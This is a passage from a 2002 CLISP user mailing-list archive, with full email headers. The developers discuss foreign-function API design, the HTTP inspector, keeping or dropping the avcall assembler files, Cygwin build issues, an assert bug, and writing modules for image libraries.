sys::*inspect-debug* 5), the inspector seems to (mostly) work. But when I don't (set to 0), I get (more often?) errors!?! More precisely, I get an error from Netscape only at the end (quit link), while CLISP terminates the inspector server. Without debug at 5, I sometimes saw in Netscape the "you may now close this window" message that CLISP sends. IE doesn't display anything... CLISP debug output says SYSTEM::HTTP-COMMAND: new socket: # SYSTEM::HTTP-COMMAND: new socket: # SYSTEM::HTTP-COMMAND: new socket: # SYSTEM::HTTP-COMMAND: new socket: # but nothing else. BTW, years ago, there was a HTTP-based inspector which would allow to see many more of the CLISP internals. What happened? Regards, Jorg Hohle. From samuel.steingold@verizon.net Wed Apr 17 09:37:12 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xsQg-0003bC-00 for ; Wed, 17 Apr 2002 09:37:10 -0700 Received: from gnu.org ([151.203.33.20]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020417163616.WLNG15947.out005.verizon.net@gnu.org>; Wed, 17 Apr 2002 11:36:16 -0500 To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Image libraries and dynamic foriegn functions References: <15881.1019006997@www49.gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15881.1019006997@www49.gmx.net> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 09:38:02 2002 X-Original-Date: 17 Apr 2002 12:37:10 -0400 > * In message <15881.1019006997@www49.gmx.net> > * On the subject of "[clisp-list] Image libraries and dynamic foriegn functions" > * Sent on Wed, 17 Apr 2002 03:29:57 +0200 (MEST) > * Honorable Scott Williams writes: > > In light of the new dynamically loadable foreign function interface, > is it still best to make an interface to ImageMagick a standard module > (like regexp) that is part of a memory image? don't wait for the new code to be put in. just go the standard module way. it will be very easy to convert to the DLL FFI (when/if it arrives) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! .sigs are like your face - rarely seen by you and uglier than you think From samuel.steingold@verizon.net Wed Apr 17 10:02:04 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xsol-0006gi-00 for ; Wed, 17 Apr 2002 10:02:03 -0700 Received: from gnu.org ([151.203.33.20]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020417170201.VNKI5495.out020.verizon.net@gnu.org>; Wed, 17 Apr 2002 12:02:01 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] critique of default-foreign-language & API design questions References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 10:03:02 2002 X-Original-Date: 17 Apr 2002 13:02:04 -0400 > * In message > * On the subject of "[clisp-list] critique of default-foreign-language & API design questions" > * Sent on Wed, 17 Apr 2002 11:30:59 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > I'm considering changing dynload.d's > # (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option) > into > (LOCATE-FOREIGN-VARIABLE name lib) and > (LOCATE-FOREIGN-FUNCTION name lib) Or no!! Please don't!! there will be a lot of code duplication between your LOCATE-FOREIGN-FUNCTION and LOCATE-FOREIGN-VARIABLE. Please make the optional os-option a _required_ argument instead: (FFI:RESOLVE-FOREIGN-NAME name lib type) where type is is either :FUNCTION or :VARIABLE > FUNCTION vs. VARIABLE only makes a difference on platforms > with HAVE_SHL_LOAD (HP/UX). It doesn't make a difference on > other platforms (dlopen(), MS-Windows etc.). There sysdll's > dll_function() and dll_variable() map to the same call. > > My goal is to have programmers on the other platforms easily > (and reliably) write code that will work there too > -- without crashes or changes. > > Programmers on the other platforms will tend to forget about > the extra parameter to RESOLVE-FOREIGN-NAME, partly because they > may not recognize the importance of a difference not visible to them, > partly because their code will work in any case. > So their testing doesn't show bugs. > > With LOCATE-FOREIGN-FUNCTION/VARIABLE however, the situation is > completely different. > By sole virtue of the name, programmers on any platform will notice > that there's something wrong should they happen to write (or read): > > (ensure-foreign-FUNCTION > (or (locate-foreign-VARIABLE "compress" "zlib") > (error "not found")) > '(c-function (:arguments #) #)) > > That's how I could "show by example" that API design *has* an > influence on the robustness and liability of software to crash > after the next patch or next port. this is handled by making the last arg required too. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! History doesn't repeat itself, but historians do repeat each other. From samuel.steingold@verizon.net Wed Apr 17 10:13:12 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xszX-0008Cn-00 for ; Wed, 17 Apr 2002 10:13:11 -0700 Received: from gnu.org ([151.203.33.20]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020417171309.VQMW22619.out011.verizon.net@gnu.org>; Wed, 17 Apr 2002 12:13:09 -0500 To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] win32 gdi References: <3CBD7D01.1CA66CD1@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CBD7D01.1CA66CD1@ieee.org> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 10:14:02 2002 X-Original-Date: 17 Apr 2002 13:13:12 -0400 > * In message <3CBD7D01.1CA66CD1@ieee.org> > * On the subject of "[clisp-list] win32 gdi" > * Sent on Wed, 17 Apr 2002 07:47:45 -0600 > * Honorable Dan Stanger writes: > > I have put a new tgz of my gdi module on my web site > www.diac.com/~dxs/gdi.tar.gz > It contains a working hello world program. I would appreciate any > comments on it. I do not have a w32 box, so I cannot try it. I hope that Arseny and Joerg will comment on it. Could you please include a README file with the module? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! Lisp: its not just for geniuses anymore. From samuel.steingold@verizon.net Wed Apr 17 10:26:05 2002 Received: from out010pub.verizon.net ([206.46.170.133] helo=out010.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xtC0-0001K2-00 for ; Wed, 17 Apr 2002 10:26:04 -0700 Received: from gnu.org ([151.203.33.20]) by out010.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020417172602.IVWZ1257.out010.verizon.net@gnu.org>; Wed, 17 Apr 2002 12:26:02 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> <20020417151832.A132@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020417151832.A132@localhost.localdomain> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 10:27:01 2002 X-Original-Date: 17 Apr 2002 13:26:05 -0400 > * In message <20020417151832.A132@localhost.localdomain> > * On the subject of "Re: [clisp-list] avcall-i386.c" > * Sent on Wed, 17 Apr 2002 15:18:32 +0200 > * Honorable Peter Wood writes: > > 1) In principle, I dislike appeals to authority. Noone is > infallible. Certainly, noone is infallible _forever_. sure. > 2) Your approach is overly cautious. In 20 years, if we never remove > unnecessary code, never consolidate, never rationalise, or clean-up > generally, we are going to have one crufty, hairy ball of cr*p. absolutely > In fact, we might even have CMUCL. what is wrong with CMUCL? I thought it was great! > > Please don't go removing something you don't > > understand just because it seems unnecessary on your platform. > > 3) I could as easily say "please don't retain something you don't > understand just because you fear it may be necessary on your platform." like RMS did with VAX support in ange-ftp? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Read, think and remember! There are 3 kinds of people: those who can count and those who cannot. From csr21@cam.ac.uk Wed Apr 17 10:40:40 2002 Received: from mauve.csi.cam.ac.uk ([131.111.8.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xtQ7-0003Gl-00 for ; Wed, 17 Apr 2002 10:40:39 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by mauve.csi.cam.ac.uk with esmtp (Exim 3.35 #1) id 16xtPt-0001tN-00; Wed, 17 Apr 2002 18:40:25 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 16xtPi-0005H3-00; Wed, 17 Apr 2002 18:40:14 +0100 To: Sam Steingold Cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] critique of default-foreign-language & API design questions Message-ID: <20020417174014.GA20229@cam.ac.uk> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 10:41:18 2002 X-Original-Date: Wed, 17 Apr 2002 18:40:14 +0100 On Wed, Apr 17, 2002 at 01:02:04PM -0400, Sam Steingold wrote: > > * In message > > * On the subject of "[clisp-list] critique of default-foreign-language & API design questions" > > * Sent on Wed, 17 Apr 2002 11:30:59 +0200 > > * Honorable "Hoehle, Joerg-Cyril" writes: > > > > I'm considering changing dynload.d's > > # (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option) > > into > > (LOCATE-FOREIGN-VARIABLE name lib) and > > (LOCATE-FOREIGN-FUNCTION name lib) > > Or no!! Please don't!! > there will be a lot of code duplication between your > LOCATE-FOREIGN-FUNCTION and LOCATE-FOREIGN-VARIABLE. So why not (defun shared-logic-for-foreign-names (name lib &rest otherargs) ...) (defun locate-foreign-function (...) (do-function-specific-stuff (shared-logic-for-foreign-names ...))) (defun locate-foreign-variable (...) (do-variable-specific-stuff (shared-logic-for-foreign-names ...))) ? Logic duplication doesn't need to imply code-duplication. Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From toy@rtp.ericsson.se Wed Apr 17 11:55:27 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xuaU-0004Rs-00 for ; Wed, 17 Apr 2002 11:55:26 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g3HItMl25685 for ; Wed, 17 Apr 2002 13:55:22 -0500 (CDT) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g3HItMd27348 for ; Wed, 17 Apr 2002 13:55:22 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Wed Apr 17 13:55:21 2002 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id OAA06837; Wed, 17 Apr 2002 14:57:59 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g3HItJu05629; Wed, 17 Apr 2002 14:55:19 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> <20020417151832.A132@localhost.localdomain> From: Raymond Toy In-Reply-To: <20020417151832.A132@localhost.localdomain> Message-ID: <4n8z7mrw89.fsf@rtp.ericsson.se> Lines: 10 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (bok choi) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 11:56:12 2002 X-Original-Date: 17 Apr 2002 14:55:18 -0400 >>>>> "Peter" == Peter Wood writes: Peter> 2) Your approach is overly cautious. In 20 years, if we never remove Peter> unnecessary code, never consolidate, never rationalise, or clean-up Peter> generally, we are going to have one crufty, hairy ball of cr*p. In Peter> fact, we might even have CMUCL. Are you saying CMUCL is cr*p? If so, why? Ray From peter.wood@worldonline.dk Wed Apr 17 13:16:08 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xvqY-0007rz-00 for ; Wed, 17 Apr 2002 13:16:06 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 02D79B51B for ; Wed, 17 Apr 2002 22:16:02 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3HK2Zv00633; Wed, 17 Apr 2002 22:02:35 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c Message-ID: <20020417220234.A608@localhost.localdomain> References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> <20020417151832.A132@localhost.localdomain> <4n8z7mrw89.fsf@rtp.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <4n8z7mrw89.fsf@rtp.ericsson.se>; from toy@rtp.ericsson.se on Wed, Apr 17, 2002 at 02:55:18PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 13:18:15 2002 X-Original-Date: Wed, 17 Apr 2002 22:02:34 +0200 Hi, On Wed, Apr 17, 2002 at 02:55:18PM -0400, Raymond Toy wrote: > >>>>> "Peter" == Peter Wood writes: > > Peter> 2) Your approach is overly cautious. In 20 years, if we never remove > Peter> unnecessary code, never consolidate, never rationalise, or clean-up > Peter> generally, we are going to have one crufty, hairy ball of cr*p. In > Peter> fact, we might even have CMUCL. > > Are you saying CMUCL is cr*p? If so, why? > > Ray No. CMUCL is great in many ways. However I think the CMUCL build process _is_ crap. This discussion is about retaining/discarding (possibly) unneeded files from Clisp. I tried to generalise about the need to rationalise and consolidate. The point I was making with the comparison was that IMO, that need went unfulfilled for many years (_specifically_ regarding the build process) in CMUCL development, and it 'ended' with a fork. I don't like the approach that "if it isn't actually breaking something NOW, then leave it alone". Over time it results in a mess. People forget what things are for, or move on. New people come along and regard the stuff they inherit with superstitious awe. Its not healthy. I did not intend to offend you, or other CMUCL users, nor am I suggesting that there are unnecessary files in CMUCL's build, but that CMUCL's build process is/has become absurdly complex and convoluted. (ie, hairy, crufty, crappy) Regards, Peter From pjb@arcangel.dircon.co.uk Wed Apr 17 14:57:02 2002 Received: from mta06-svc.ntlworld.com ([62.253.162.46]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xxQD-0003LV-00 for ; Wed, 17 Apr 2002 14:57:01 -0700 Received: from proxyplus.universe ([62.253.95.50]) by mta06-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020417215656.NAJ20036.mta06-svc.ntlworld.com@proxyplus.universe> for ; Wed, 17 Apr 2002 22:56:56 +0100 Received: from 127.0.0.1 by Proxy+; Wed, 17 Apr 2002 21:56:09 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall-i386.c References: <20020409160335.A334@localhost.localdomain> <20020409212821.A334@localhost.localdomain> <20020417151832.A132@localhost.localdomain> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Peter Wood's message of "Wed, 17 Apr 2002 15:18:32 +0200" Message-ID: Lines: 98 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 15:02:11 2002 X-Original-Date: 17 Apr 2002 22:56:08 +0100 Hi, Peter Wood writes: > Hi, > > On Tue, Apr 16, 2002 at 06:47:23PM +0100, Peter Burwood wrote: > > > Trust me when I say Bruno would not put something horrible like that in > > unless there was a very good reason. Ok, I realise that the world has moved > > on since Bruno wrote Clisp and somethings may be unnecessary now, but Clisp > > has a reputation for the number of platforms it runs on and runs on > > correctly. It got that reputation by Bruno not trusting certain things and > > being a little paranoid. > > First of all, let me say that I don't particularly care one way or the > other. If something got my goat enough, I could just go my own way. Fine. > Having said that, I have the following remarks: > > 1) In principle, I dislike appeals to authority. Noone is > infallible. Certainly, noone is infallible _forever_. Absolutely, I never said otherwise. I didn't mean to suggest Bruno is infallible, I know he isn't. It'd be nice if software was though! > 2) Your approach is overly cautious. Probably. > In 20 years, if we never remove > unnecessary code, never consolidate, never rationalise, or clean-up > generally, we are going to have one crufty, hairy ball of cr*p. I agree, but I didn't say don't remove anything. I explained why the .S files exist and gave a reason for their continued existence. Please don't change my words. I said you shouldn't remove something just because you don't understand it, not that nothing should ever be removed. As it happens, you've followed this general rule, because you are asking why Clisp has these apparent duplicate files. But you're right, we should clean up the avcall-i386 stuff and remove something. How about the .c file? Ah but, the .c files do serve a purpose. They help porting to a new platform with the same CPU but different calling convention, or to an unsupported CPU, because you can run the .c file through the compiler to get the first pass at a working avcall. So we'd better keep them. > > Please don't go removing something you don't > > understand just because it seems unnecessary on your platform. > > 3) I could as easily say "please don't retain something you don't > understand just because you fear it may be necessary on your platform." That's not the same at all. Your hypothesis is easy to prove one way or another, mine is not. > I am not suggesting that we obliterate and remove from history the > assembler files; if we tried it with the c files, and gcc couldn't > handle it on platform xyz, then we could just put the necessary file > back. Clisp's reputation is strong enough to weather a little thing > like that. Most users wouldn't even know. > > 4) According to sourceforge cvs, a lot of the .s files are simply > generated by gcc. Sorry, but because I was just giving a bit of history from my hazy memory, I forgot to check whether things had changed, or maybe my recollection was wrong. I had missed this fact. But, as I said in my previous email, the .S files allow Clisp to be built using a compiler other than gcc. Thus, it seems both .c and .S are necessary, though for any one platform, only one of them is needed. If one thought it important, then the avcall/Makefile could be generated to use the .c if the build compiler was gcc. > Your way, ... we'll never know. You have misunderstood my email. I'm not a luddite against change. I welcome change and improvement, where there is benefit. It is certainly true that the Clisp source has a fair amount of things that could be removed or are implemented in an odd fashion, e.g., . why have .d files? . why is so much Lisp written in C? Anyway, hopefully I have explained why the .S files exist and are part of the source distribution, so I'll leave it there. cheers, Peter From pjb@arcangel.dircon.co.uk Wed Apr 17 15:08:19 2002 Received: from mta01-svc.ntlworld.com ([62.253.162.41]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xxb1-0004Zg-00 for ; Wed, 17 Apr 2002 15:08:12 -0700 Received: from proxyplus.universe ([62.253.95.50]) by mta01-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020417220809.VIEE14788.mta01-svc.ntlworld.com@proxyplus.universe> for ; Wed, 17 Apr 2002 23:08:09 +0100 Received: from 127.0.0.1 by Proxy+; Wed, 17 Apr 2002 22:08:00 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynload.d compilation problems References: <20020414112431.A248@localhost.localdomain> <20020417153617.B132@localhost.localdomain> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Peter Wood's message of "Wed, 17 Apr 2002 15:36:17 +0200" Message-ID: Lines: 42 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 15:09:12 2002 X-Original-Date: 17 Apr 2002 23:07:59 +0100 Hi, Peter Wood writes: > Hi, > On Tue, Apr 16, 2002 at 09:02:18PM +0100, Peter Burwood wrote: > > Peter Wood writes: > > > > > I also have a rule for dynload.s, but that is only because the other > > > ..d files have such a rule, and it does not appear to be used!!??!! > > > More cruft from the assembler hack days? > > > > No, just more usefulness to help debug things when the compiler generates > > bad code. > > > > It is a makefile rule for developers. It does no harm if you don't need it. > > Perhaps it should go in Makefile.devel, then? When is the last time > anyone went through the assembler code for stream.d, or pathname.d? > :-) And if anyone ever did, is he out of hospital yet? poor guy :-) I've done it and I'm sure I'm not alone. Aswell as debugging, They can also be used to port to another OS with the same calling convention, but different object file format and where the assembler isn't available on the host. I've done this trick too, with Clisp and GNAT. > > On Cygwin there is a problem with CONST, so I added -DCONST=const to the > > compile command as a hack. Did you not have a similar problem, 'cos I didn't > > see it in your makefile rules. I see that Joerg had it in his compile > > commands too. > > CONST isn't used in dynload. It's used in sysdll, and I didn't > include my rules for sysdll.{c,h,o} since it compiled without problems > - but yes, CONST must be defined. dynload includes sysdll.h which has CONST. But no problem as Joerg says the newer sysdll.{c,h} files have removed CONST. regards, Peter From lin8080@freenet.de Wed Apr 17 20:49:59 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16y2vl-0003qY-00 for ; Wed, 17 Apr 2002 20:49:57 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16y2vg-0003tJ-00 for clisp-list@lists.sourceforge.net; Thu, 18 Apr 2002 05:49:52 +0200 Received: from a812c.pppool.de ([213.6.129.44] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16y2vg-0000RA-00 for clisp-list@lists.sourceforge.net; Thu, 18 Apr 2002 05:49:52 +0200 Message-ID: <3CBE42C0.4389D81A@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] assert goes into an endless loop Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Apr 17 20:50:06 2002 X-Original-Date: Thu, 18 Apr 2002 05:51:28 +0200 Bruno Haible schrieb: > With clisp-2.26, > $ clisp -x '(assert (>= -1 0))' With clisp-2.28 on win98: [41]> (load "astest.lisp") ;; Loading file asit.lisp ... ** - Continuable Error (>= -1 0) must evaluate to a non-NIL value. If you continue (by typing 'continue'): Retry 1. Break [42]> abort stefan From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 18 00:21:16 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16y6EE-00062Y-00 for ; Thu, 18 Apr 2002 00:21:15 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 18 Apr 2002 09:19:38 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57GY2Z>; Thu, 18 Apr 2002 09:20:53 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dan.stanger@ieee.org Subject: [clisp-list] Image libraries and dynamic foreign functions MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 18 00:22:02 2002 X-Original-Date: Thu, 18 Apr 2002 09:20:53 +0200 Hi, Scott Williams wrote: > In light of the new dynamically loadable foreign function > interface, is it > still best to make an interface to ImageMagick a standard > module (like regexp) that is part of a memory image? It depends. In my article (sent separately) on extending CLISP via modules, I don't give much advice on this topic. The final decision is up to you. o If you already have an interface to ImageMagick based on a CLISP module, why change it? o If you're considering a future interface to ImageMagick, a dynamic FFI might be more appealing (as it's more likely to be portable to other Lisp implementations, or ported from other ones). However, the FFI approach has certain drawbacks that I highlight in my article. The most important one is possibly the lack of integration with Lisp, i.e. all you have is chars, ints and arrays of those. For instance, Dan Stanger preferred to write his GDI based on modules. He manipulates Lisp arrays directly, which you cannot do with the FFI. Maybe he wants to comment on his choices. I don't know whether he expects better performance or more comfort or better integration into the Lisp world (i.e. feel less "foreign") from doing so. Sam Steingold wrote: >it will be very easy to convert to the DLL FFI (when/if it arrives) Even if I were to die (or be overwhelmed with other stuff), I think I already released enough information to let CLISP users fly alone. Regards, Jorg Hohle. From bley@wh2-19.st.uni-magdeburg.de Thu Apr 18 00:55:28 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16y6lK-0001BB-00 for ; Thu, 18 Apr 2002 00:55:26 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 485959F73; Thu, 18 Apr 2002 09:55:34 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15550.31734.554560.970867@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop In-Reply-To: <3CBE42C0.4389D81A@freenet.de> References: <3CBE42C0.4389D81A@freenet.de> X-Mailer: VM 7.03 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 18 00:56:01 2002 X-Original-Date: Thu, 18 Apr 